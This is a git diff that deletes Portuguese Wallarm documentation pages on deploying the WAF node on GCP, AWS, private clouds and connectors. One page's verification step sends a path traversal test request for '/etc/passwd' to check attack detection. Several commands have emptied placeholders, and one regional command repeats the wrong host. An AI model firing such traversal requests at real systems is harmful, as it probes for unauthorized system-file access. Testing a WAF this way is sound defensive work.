GCP](https://cloud.google.com/compute/docs/instances/connecting-to-instance). -3. Na instância, instale os pacotes do NGINX Plus e do nó de filtragem Wallarm seguindo as [instruções da Wallarm](../../../installation/nginx/dynamic-module.md). - -Para instalar o módulo postanalytics em uma instância separada, por favor repita os passos 1-2 e instale o módulo postanalytics seguindo as [instruções da Wallarm](../../../admin-en/installation-postanalytics-en.md). \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/cloud-platforms/gcp/docker-container.md b/docs/latest-pt-BR/installation/cloud-platforms/gcp/docker-container.md deleted file mode 100644 index a9debcf54e..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/gcp/docker-container.md +++ /dev/null @@ -1,168 +0,0 @@ -# Implantação da Imagem Docker do Wallarm no GCP - -Este guia rápido fornece as etapas para implantar a [imagem Docker do nó Wallarm baseado em NGINX](https://hub.docker.com/r/wallarm/node) na Google Cloud Platform usando o [componente Google Compute Engine (GCE)](https://cloud.google.com/compute). - -!!! aviso "Limitações das instruções" - Estas instruções não cobrem a configuração do balanceamento de carga e do auto escalonamento de nós. Se você está configurando esses componentes por conta própria, recomendamos que você leia a [documentação do GCP](https://cloud.google.com/compute/docs/load-balancing-and-autoscaling) apropriada. - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/google-gce-use-cases.md" - -## Requisitos - -* Conta GCP ativa -* [Projeto GCP criado](https://cloud.google.com/resource-manager/docs/creating-managing-projects) -* [API do Compute Engine](https://console.cloud.google.com/apis/library/compute.googleapis.com?q=compute%20eng&id=a08439d8-80d6-43f1-af2e-6878251f018d) habilitada -* [Google Cloud SDK (gcloud CLI) instalado e configurado](https://cloud.google.com/sdk/docs/quickstart) -* Acesso à conta com a função **Administrador** e autenticação de dois fatores desativada no Console Wallarm para o [Cloud dos EUA](https://us1.my.wallarm.com/) ou [Cloud da UE](https://my.wallarm.com/) - -## Opções para a configuração do container Docker do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/docker-running-options.md" - -## Implantando o container Docker do nó Wallarm configurado por meio de variáveis de ambiente - -Para implantar o nó de filtragem do Wallarm em um container, configurado apenas por meio de variáveis de ambiente, você pode usar o [Console GCP ou gcloud CLI](https://cloud.google.com/compute/docs/containers/deploying-containers). Nestas instruções, o gcloud CLI é usado. - ---8<-- "../include-pt-BR/waf/installation/get-api-or-node-token.md" - -1. Defina a variável de ambiente local com o token do nó Wallarm a ser usado para conectar a instância ao Cloud Wallarm: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. Crie a instância com o container Docker em execução usando o comando [`gcloud compute instances create-with-container`](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create-with-container): - - === "Comando para o Cloud Wallarm dos EUA" - ```bash - gcloud compute instances create-with-container \ - --zone \ - --tags http-server \ - --container-env WALLARM_API_TOKEN=${WALLARM_API_TOKEN} \ - --container-env NGINX_BACKEND= \ - --container-env WALLARM_API_HOST=us1.api.wallarm.com \ - --container-image registry-1.docker.io/wallarm/node:4.8.0-1 - ``` - === "Comando para o Cloud Wallarm da UE" - ```bash - gcloud compute instances create-with-container \ - --zone \ - --tags http-server \ - --container-env WALLARM_API_TOKEN=${WALLARM_API_TOKEN} \ - --container-env NGINX_BACKEND= \ - --container-env WALLARM_API_HOST=us1.api.wallarm.com \ - --container-image registry-1.docker.io/wallarm/node:4.8.0-1 - ``` - - * ``: nome da instância, por exemplo: `wallarm-node`. - * `--zone`: [zona](https://cloud.google.com/compute/docs/regions-zones) que hospedará a instância. - * `--tags`: tags da instância. Tags são usadas para configurar a disponibilidade da instância para outros recursos. No presente caso, a tag `http-server` abrindo a porta 80 é atribuída à instância. - * `--container-image`: link para a imagem Docker do nó de filtragem. - * `--container-env`: variáveis de ambiente com a configuração do nó de filtragem (variáveis disponíveis estão listadas na tabela abaixo). Por favor, observe que não é recomendado passar o valor de `WALLARM_API_TOKEN` explicitamente. - - --8<-- "../include-pt-BR/waf/installation/nginx-docker-all-env-vars-latest.md" - - * Todos os parâmetros do comando `gcloud compute instances create-with-container` são descritos na [documentação do GCP](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create-with-container). -1. Abra o [Console GCP → **Compute Engine** → Instâncias VM](https://console.cloud.google.com/compute/instances) e garanta que a instância seja exibida na lista. -1. [Teste a operação do nó de filtragem](#teste-da-operação-do-nó-de-filtragem). - -## Implantando o container Docker do nó Wallarm configurado pelo arquivo montado - -Para implantar o nó de filtragem do Wallarm em um container, configurado por meio de variáveis de ambiente e arquivo montado, você deve criar a instância, localizar o arquivo de configuração do nó de filtragem no sistema de arquivos desta instância e executar o container Docker nesta instância. Você pode executar estas etapas via [Console GCP ou gcloud CLI](https://cloud.google.com/compute/docs/containers/deploying-containers). Nestas instruções, o gcloud CLI é usado. - ---8<-- "../include-pt-BR/waf/installation/get-api-or-node-token.md" - -1. Crie a instância baseada em qualquer imagem de sistema operacional do registro do Compute Engine usando o comando [`gcloud compute instances create`](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create): - - ```bash - gcloud compute instances create \ - --image \ - --zone \ - --tags http-server - ``` - - * ``: nome da instância. - * `--image`: nome da imagem do sistema operacional do registro do Compute Engine. A instância criada será baseada nesta imagem e será usada para executar o container Docker posteriormente. Se este parâmetro for omitido, a instância será baseada na imagem do Debian 10. - * `--zone`: [zona](https://cloud.google.com/compute/docs/regions-zones) que hospedará a instância. - * `--tags`: tags da instância. Tags são usadas para configurar a disponibilidade da instância para outros recursos. No presente caso, a tag `http-server` abrindo a porta 80 é atribuída à instância. - * Todos os parâmetros do comando `gcloud compute instances create` são descritos na [documentação do GCP](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create). -1. Abra o [Console GCP → **Compute Engine** → Instâncias VM](https://console.cloud.google.com/compute/instances) e garanta que a instância seja exibida na lista e esteja no status **RUNNING**. -1. Conecte-se à instância via SSH seguindo as [instruções do GCP](https://cloud.google.com/compute/docs/instances/ssh). -1. Instale os pacotes do Docker na instância seguindo as [instruções para um sistema operacional adequado](https://docs.docker.com/engine/install/#server). -1. Defina a variável de ambiente local com o token do nó Wallarm a ser usado para conectar a instância ao Cloud Wallarm: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. Na instância, crie o diretório com o arquivo `default` contendo a configuração do nó de filtragem (por exemplo, o diretório pode ser nomeado como `configs`). Um exemplo do arquivo com configurações mínimas: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [Conjunto de diretivas do nó de filtragem que podem ser especificadas no arquivo de configuração →][nginx-waf-directives] -1. Execute o container Docker do nó Wallarm usando o comando `docker run` com variáveis de ambiente passadas e arquivo de configuração montado: - - === "Comando para o Cloud Wallarm dos EUA" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_API_HOST='us1.api.wallarm.com' -v : -p 80:80 wallarm/node:4.8.0-1 - ``` - === "Comando para o Cloud Wallarm da UE" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -v : -p 80:80 wallarm/node:4.8.0-1 - ``` - - * ``: caminho para o arquivo de configuração criado na etapa anterior. Por exemplo, `configs`. - * ``: diretório do container para montar o arquivo de configuração. Os arquivos de configuração podem ser montados nos seguintes diretórios do container usados pelo NGINX: - - * `/etc/nginx/conf.d` — configurações comuns - * `/etc/nginx/sites-enabled` — configurações do host virtual - * `/var/www/html` — arquivos estáticos - - As diretivas do nó de filtragem devem ser descritas no arquivo `/etc/nginx/sites-enabled/default`. - - * `-p`: porta que o nó de filtragem escuta. O valor deve ser o mesmo da porta da instância. - * `-e`: variáveis de ambiente com a configuração do nó de filtragem (variáveis disponíveis estão listadas na tabela abaixo). Note que não é recomendado passar o valor de `WALLARM_API_TOKEN` explicitamente. - - --8<-- "../include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount-latest.md" -1. [Teste a operação do nó de filtragem](#teste-da-operação-do-nó-de-filtragem). - -## Teste da operação do nó de filtragem - -1. Abra o [Console GCP → **Compute Engine** → Instâncias VM](https://console.cloud.google.com/compute/instances) e copie o endereço IP da instância da coluna **External IP**. - - ![Configuração da instância do container][copy-container-ip-gcp-img] - - Se o endereço IP estiver vazio, verifique se a instância está no status **RUNNING**. - -2. Envie a solicitação com o teste [Path Traversal][ptrav-attack-docs] até o endereço copiado: - - ``` - curl http:///etc/passwd - ``` -3. Abra o Console Wallarm → **Events** no [Cloud dos EUA](https://us1.my.wallarm.com/attacks) ou [Cloud da UE](https://my.wallarm.com/attacks) e certifique-se de que o ataque está exibido na lista. - ![Ataques na UI][attacks-in-ui-image] - -Detalhes de erros que ocorreram durante a implantação do container são exibidos no menu de instância **View logs**. Se a instância estiver indisponível, verifique se os parâmetros do nó de filtragem necessários com os valores corretos são passados para o container. \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/cloud-platforms/gcp/machine-image.md b/docs/latest-pt-BR/installation/cloud-platforms/gcp/machine-image.md deleted file mode 100644 index d058e34c0e..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/gcp/machine-image.md +++ /dev/null @@ -1,30 +0,0 @@ -[link-lançar-instancia]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[img-geração-chave-ssh]: ../../../images/installation-gcp/common/ssh-key-generation.png -[política-versão]: ../../../updating-migrating/versioning-policy.md#version-list -[img-usuários-console-wl]: ../../../images/check-user-no-2fa.png -[img-cria-nó-wallarm]: ../../../images/user-guides/nodes/create-cloud-node.png -[documentos-plataforma-implantação]: ../../../installation/supported-deployment-options.md - -[token-nó]: ../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[token-api]: ../../../user-guides/settings/api-tokens.md -[tipos-token-wallarm]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[plataforma]: ../../../installation/supported-deployment-options.md -[documentos-ataque-ptrav]: ../../../attacks-vulns-list.md#path-traversal -[imagem-ataques-interface]: ../../../images/admin-guides/test-attacks-quickstart.png -[diretrizes-nginx-wallarm]: ../../../admin-en/configure-parameters-en.md -[documentos-autoscaling]: ../../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[documentos-ip-real]: ../../../admin-en/using-proxy-or-balancer-en.md -[documentos-alocar-memória]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[processamento-solicitação-limite]: ../../../user-guides/rules/configure-overlimit-res-detection.md -[documentos-registros]: ../../../admin-en/configure-logging.md -[vantagens-limitações-oob]: ../../oob/overview.md#advantages-and-limitations -[modo-wallarm]: ../../../admin-en/configure-wallarm-mode.md -[documentos-inline]: ../../inline/overview.md -[documentos-oob]: ../../oob/overview.md -[api-wallarm-via-proxy]: ../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[exemplos-espelhamento-servidor-web]: ../../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-nós-agrupados]: ../../../images/user-guides/nodes/grouped-nodes.png -[link-wallarm-health-check]: ../../../admin-en/uat-checklist-en.md - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/cloud-platforms/private-cloud.md b/docs/latest-pt-BR/installation/cloud-platforms/private-cloud.md deleted file mode 100644 index 4425edfe94..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/private-cloud.md +++ /dev/null @@ -1,53 +0,0 @@ -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md - -# Implementando Wallarm em Nuvens Privadas - -As nuvens privadas são ambientes de nuvem implementados exclusivamente para uma única organização ou entidade, proporcionando uso e controle exclusivos sobre os recursos. Este artigo fornece uma visão geral dos princípios de implantação do nó Wallarm nas nuvens privadas. - -## Passo 1: Entenda seu escopo e abordagem para implantação do Wallarm - -Antes de implantar o Wallarm na sua nuvem privada, é fundamental entender o escopo do seu cenário de aplicação e determinar a abordagem mais adequada para a implantação do Wallarm. Considere as seguintes características durante essa avaliação: - -* Avaliação de um escopo para garantir a segurança: avalie o seu cenário de aplicação e identifique as aplicações críticas que requerem proteção. Considere fatores como a sensibilidade dos dados, o impacto potencial de violações e os requisitos de conformidade. Essa avaliação ajuda você a priorizar e concentrar seus esforços na proteção dos ativos mais importantes na sua nuvem privada. -* [Análise in-line](../inline/overview.md) vs. [análise out-of-band (OOB)](../oob/overview.md): determine se você deseja implantar o Wallarm para análise in-line ou análise de tráfego out-of-band. Análise in-line envolve a implantação de nós Wallarm no caminho de tráfego de suas aplicações, enquanto a análise OOB envolve a captura e análise de tráfego espelhado. -* Posicionamento dos nós Wallarm: Com base na sua abordagem escolhida (análise in-line ou análise OOB), determine o posicionamento apropriado dos nós Wallarm dentro da infraestrutura da sua nuvem privada. Para análise in-line, considere posicionar os nós Wallarm perto de suas aplicações, como dentro da mesma VLAN ou sub-rede. Para análise OOB, certifique-se de que o tráfego espelhado será devidamente encaminhado para os nós Wallarm para análise. - -## Passo 2: Permitir conexões de saída para Wallarm - -Em nuvens privadas, geralmente existem restrições sobre as conexões de saída. Para garantir que Wallarm funcione corretamente, é necessário habilitar as conexões de saída, permitindo que ele baixe pacotes durante a instalação, estabeleça conectividade de rede entre as instâncias locais do nó e Wallarm Cloud, e operacionalize totalmente os recursos do Wallarm. - -O acesso nas nuvens privadas é normalmente concedido com base em endereços IP. Wallarm requer acesso aos seguintes registros DNS: - -* The following addresses to have access to the Wallarm Cloud to get security rules, upload attack data, etc. - - --8<-- "../include/wallarm-cloud-ips.md" -* Endereços IP usados pelo Docker Hub se você escolher executar Wallarm a partir de uma imagem Docker. -* `34.111.12.147` (`repo.wallarm.com`) se você escolher instalar o nó Wallarm a partir de pacotes Linux individuais para [NGINX estável](../nginx/dynamic-module.md)/[NGINX Plus](../nginx-plus.md)/[NGINX fornecido pela distribuição](../nginx/dynamic-module-from-distr.md). Pacotes para instalação do nó são baixados deste endereço. -* `35.244.197.238` (`https://meganode.wallarm.com`) se você escolher instalar o Wallarm a partir do [instalador all-in-one] (../nginx/all-in-one.md). O instalador é baixado deste endereço. -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" - -## Passo 3: Escolha o modelo de implantação e o artefato Wallarm - -Wallarm oferece modelos de implantação flexíveis, permitindo que as organizações selecionem a opção mais adequada para o ambiente de nuvem privada. Dois modelos de implantação comuns são **implantação de aparelho virtual** e **implantação Kubernetes**. - -### Implantação de aparelho virtual - -Neste modelo, você implementa Wallarm como um aparelho virtual dentro da infraestrutura da sua nuvem privada. O aparelho virtual pode ser instalado como uma VM ou contêiner. Você pode escolher implementar o nó Wallarm usando um dos seguintes artefatos: - -* Imagens Docker: - * [Imagem Docker baseada em NGINX](../../admin-en/installation-docker-en.md) - * [Imagem Docker baseada em Envoy](../../admin-en/installation-guides/envoy/envoy-docker.md) -* Pacotes Linux: - * [Pacotes Linux individuais para NGINX estável](../nginx/dynamic-module.md) - * [Pacotes Linux individuais para NGINX Plus](../nginx-plus.md) - * [Pacotes Linux individuais para NGINX fornecido pela distribuição](../nginx/dynamic-module-from-distr.md) - * [Instalador All‑in‑One para Linux](../nginx/all-in-one.md) - -### Implantação Kubernetes - -Se a sua nuvem privada utiliza Kubernetes para orquestração de contêineres, Wallarm pode ser implementado como uma solução nativa do Kubernetes. Ele se integra perfeitamente com os clusters Kubernetes, aproveitando recursos como controladores de entrada, contêineres auxiliares ou recursos personalizados do Kubernetes. Você pode escolher implementar o Wallarm usando uma das seguintes soluções: - -* [NGINX baseado no controlador Ingress](../../admin-en/installation-kubernetes-en.md) -* [Controlador Sidecar](../kubernetes/sidecar-proxy/deployment.md) \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/connectors/aws-api-gateway.md b/docs/latest-pt-BR/installation/connectors/aws-api-gateway.md deleted file mode 100644 index 2bee2cf60c..0000000000 --- a/docs/latest-pt-BR/installation/connectors/aws-api-gateway.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/aws-api-gateway.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/connectors/overview.md b/docs/latest-pt-BR/installation/connectors/overview.md deleted file mode 100644 index c4828311a3..0000000000 --- a/docs/latest-pt-BR/installation/connectors/overview.md +++ /dev/null @@ -1,40 +0,0 @@ -# Implantando Wallarm com Conectores - -O deploy de API pode ser feito de várias maneiras, incluindo a utilização de ferramentas externas como Azion Edge, Akamai Edge, MuleSoft, Apigee e AWS Lambda. Se você está procurando uma maneira de proteger essas APIs com Wallarm, oferecemos uma solução na forma de "conectores" especificamente projetados para tais casos. - -## Como funciona - -A solução envolve a implantação do nó Wallarm externamente e a injeção de código ou políticas personalizadas na plataforma específica. Isso permite que o tráfego seja direcionado para o nó Wallarm externo para análise e proteção contra possíveis ameaças. Referidos como conectores Wallarm, eles servem como a ligação essencial entre as plataformas e o nó Wallarm externo. - -O seguinte esquema demonstra o fluxo de tráfego de alto nível no [modo](../../admin-en/configure-wallarm-mode.md) de bloqueio Wallarm: - -![imagem](../../images/waf-installation/general-traffic-flow-for-connectors.png) - -O tráfego é analisado em linha, o script Wallarm injetado captura solicitações e as encaminha para o nó para análise. Dependendo da resposta do nó, as atividades maliciosas são bloqueadas e apenas solicitações legítimas têm permissão para acessar as APIs. - -Alternativamente, o modo de monitoramento permite que os usuários adquiram conhecimento sobre possíveis ameaças que as aplicações web e APIs podem encontrar. Neste modo, a lógica do fluxo de tráfego permanece a mesma, mas o nó não bloqueia ataques, apenas os registra e os grava no Wallarm Cloud, acessível através do console Wallarm. - -## Casos de uso - -* Protegendo todas as APIs implantadas com Azion Edge, Akamai Edge, MuleSoft, Apigee, AWS Lambda ou ferramenta similar, criando apenas um componente na infraestrutura atual - o componente como o código/política/proxy Wallarm dependendo da solução utilizada. -* Necessidade de uma solução de segurança que oferece observação abrangente de ataques, relatórios e bloqueio instantâneo de solicitações maliciosas. - -## Limitações - -A solução tem certas limitações, pois só funciona com solicitações de entrada: - -* A descoberta de vulnerabilidades usando o método de [detecção passiva](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) não funciona adequadamente. A solução determina se uma API é vulnerável ou não com base nas respostas do servidor a solicitações maliciosas típicas das vulnerabilidades que testa. -* [Descoberta da API Wallarm](../../api-discovery/overview.md) não pode explorar o inventário da API com base no seu tráfego, pois a solução depende da análise da resposta. -* A [proteção contra navegação forçada](../../admin-en/configuration-guides/protecting-against-bruteforce.md) não está disponível, pois requer análise do código de resposta. - -## Opções de implantação suportadas - -Atualmente, Wallarm oferece conectores para as seguintes plataformas: - -* [MuleSoft](mulesoft.md) -* [Apigee](apigee.md) -* [Akamai EdgeWorkers](akamai-edgeworkers.md) -* [Azion Edge](azion-edge.md) -* [AWS Lambda](aws-lambda.md) - -Se você não pôde encontrar o conector que está procurando, por favor sinta-se à vontade para contatar nossa [equipe de vendas](mailto:sales@wallarm.com) para discutir seus requisitos e explorar possíveis soluções. \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/custom/custom-nginx-version.md b/docs/latest-pt-BR/installation/custom/custom-nginx-version.md deleted file mode 100644 index b1d0e4ac9a..0000000000 --- a/docs/latest-pt-BR/installation/custom/custom-nginx-version.md +++ /dev/null @@ -1,25 +0,0 @@ -# Pacotes Personalizados NGINX - -Se você precisar de pacotes DEB/RPM da Wallarm para uma versão do NGINX que seja diferente da versão estável, NGINX Plus ou da versão do distributivo, você pode solicitar uma construção personalizada da Wallarm seguindo estas instruções. - -Por padrão, os pacotes DEB/RPM da Wallarm estão disponíveis para as seguintes versões do NGINX: - -* NGINX oficial de código aberto versão `estável` - consulte as [instruções de instalação](../nginx/dynamic-module.md) -* NGINX fornecido pelo distributivo - consulte as [instruções de instalação](../nginx/dynamic-module-from-distr.md) -* NGINX Plus oficial comercial - consulte as [instruções de instalação](../nginx-plus.md) - -O módulo Wallarm pode ser integrado com uma construção personalizada do NGINX, incluindo o NGINX `mainline`, ao reconstruir os pacotes Wallarm. Para reconstruir os pacotes, entre em contato com a equipe de [suporte técnico da Wallarm](mailto:support@wallarm.com) e forneça as seguintes informações: - -* Versão do kernel do Linux: `uname -a` -* Distributivo Linux: `cat /etc/*release` -* Versão do NGINX: - - * [Construção oficial do NGINX](https://nginx.org/en/linux_packages.html): `/usr/sbin/nginx -V` - * Construção personalizada do NGINX: `/nginx -V` - -* Assinatura de compatibilidade: - - * [Construção oficial do NGINX](https://nginx.org/en/linux_packages.html): `egrep -ao '.,.,.,[01]{33}' /usr/sbin/nginx` - * Construção personalizada do NGINX: `egrep -ao '.,.,.,[01]{33}' /nginx` - -* O usuário (e o grupo do usuário) que está executando os processos de trabalho do NGINX: `grep -w 'user' ` \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/custom/request-custom-deployment.md b/docs/latest-pt-BR/installation/custom/request-custom-deployment.md deleted file mode 100644 index 48f8dcd308..0000000000 --- a/docs/latest-pt-BR/installation/custom/request-custom-deployment.md +++ /dev/null @@ -1,17 +0,0 @@ -# Opções de Implantação Personalizadas - -Se você estiver interessado em opções de implantação personalizadas que não estão listadas em nossa lista de [opções suportadas](../supported-deployment-options.md), ficaremos felizes em colaborar com você para encontrar uma solução que se alinhe perfeitamente às suas necessidades únicas. - -Existem vários cenários em que você pode precisar de uma construção de implantação Wallarm personalizada, como requisitos específicos de infraestrutura, necessidades de segurança, dependências de integração e mais. Aqui estão alguns exemplos de casos em que uma construção de implantação personalizada pode ser necessária: - -* Serviços estão sendo executados em uma plataforma de nuvem que não está listada como uma opção suportada. -* Procedimento de implantação envolve uma combinação de várias tecnologias ou está sendo executado em ambientes híbridos com uma mistura de infraestrutura auto-hospedada e baseada na nuvem, tornando desafiador escolher a opção de implantação correta da lista pré-definida. -* Você exige uma solução fora de banda para um espelho de tráfego especialmente projetado. -* Serviços são compatíveis com versões personalizadas ou tipos de controladores de Ingress, servidores web, balanceadores de carga, etc, que não são mencionados na documentação. - - Se você estiver procurando pelos pacotes Wallarm DEB/RPM para uma versão personalizada de NGINX, consulte as [instruções específicas](custom-nginx-version.md) sobre como obtê-la. - -Para solicitar uma opção de implantação Wallarm personalizada: - -* [Entre em contato com a equipe de vendas da Wallarm](mailto:sales@wallarm.com?subject=Request%20for%20custom%20Wallarm%20deployment&body=Hello%20Wallarm%20Sales%20Team%2C%0AI%27m%20writing%20to%20explore%20a%20Wallarm%20deployment%20option%20for%20my%20product%20security.%20I%20couldn%27t%20find%20what%20I%20need%20among%20the%20listed%20options%20in%20your%20documentation%2C%20and%20I%20would%20appreciate%20your%20help%20to%20explore%20the%20possibilities.%0AI%20would%20be%20happy%20to%20schedule%20a%20call%20with%20you%20to%20discuss%20my%20requirements%20in%20detail.%0AThank%20you%20for%20your%20time%20and%20assistance.), ou -* [Agende uma ligação pessoal com um especialista em produtos](https://www.wallarm.com/request-demo) \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/inline/compute-instances/aws/aws-ami.md b/docs/latest-pt-BR/installation/inline/compute-instances/aws/aws-ami.md deleted file mode 100644 index 6eecce5143..0000000000 --- a/docs/latest-pt-BR/installation/inline/compute-instances/aws/aws-ami.md +++ /dev/null @@ -1,57 +0,0 @@ -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EC2_GetStarted.html#ec2-launch-instance - -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws - -[img-create-sg]: ../../../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../../installation/supported-deployment-options.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../../admin-en/configure-logging.md -[wallarm-mode]: ../../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - -# Implantando Wallarm da Amazon Machine Image - -Este artigo fornece instruções para implantar Wallarm na AWS in-line usando a [Amazon Machine Image (AMI) oficial](https://aws.amazon.com/marketplace/pp/B073VRFXSD). - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/ami-use-cases.md" - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md" - -## 6. Ativar Wallarm para analisar o tráfego - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis-inline.md" - -## 7. Reiniciar NGINX - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/restart-nginx.md" - -## 8. Configurar o envio de tráfego para a instância Wallarm - ---8<-- "../include-pt-BR/waf/installation/sending-traffic-to-node-inline.md" - -## 9. Testar a operação Wallarm - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/test-operation-inline.md" - -## 10. Ajuste fino da solução implantada - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/fine-tuning-options.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/inline/compute-instances/gcp/machine-image.md b/docs/latest-pt-BR/installation/inline/compute-instances/gcp/machine-image.md deleted file mode 100644 index cb38f5f13e..0000000000 --- a/docs/latest-pt-BR/installation/inline/compute-instances/gcp/machine-image.md +++ /dev/null @@ -1,52 +0,0 @@ -[link-launch-instance]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[img-ssh-key-generation]: ../../../../images/installation-gcp/common/ssh-key-generation.png -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../../installation/supported-deployment-options.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../../admin-en/configure-logging.md -[wallarm-mode]: ../../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - -# Implementando o Wallarm a partir da Imagem de Máquina GCP - -Este artigo fornece instruções para implantar o Wallarm na GCP em linha usando a [Imagem oficial de Máquina](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node). - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md" - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md" - -## 5. Ative o Wallarm para analisar o tráfego - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis-inline.md" - -## 6. Reinicie o NGINX - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/restart-nginx.md" - -## 7. Configure o envio de tráfego para a instância Wallarm - ---8<-- "../include-pt-BR/waf/installation/sending-traffic-to-node-inline.md" - -## 8. Teste a operação Wallarm - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/test-operation-inline.md" - -## 9. Ajuste fino da solução implementada - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/fine-tuning-options.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/inline/compute-instances/linux/all-in-one.md b/docs/latest-pt-BR/installation/inline/compute-instances/linux/all-in-one.md deleted file mode 100644 index 77c9cb2111..0000000000 --- a/docs/latest-pt-BR/installation/inline/compute-instances/linux/all-in-one.md +++ /dev/null @@ -1,142 +0,0 @@ 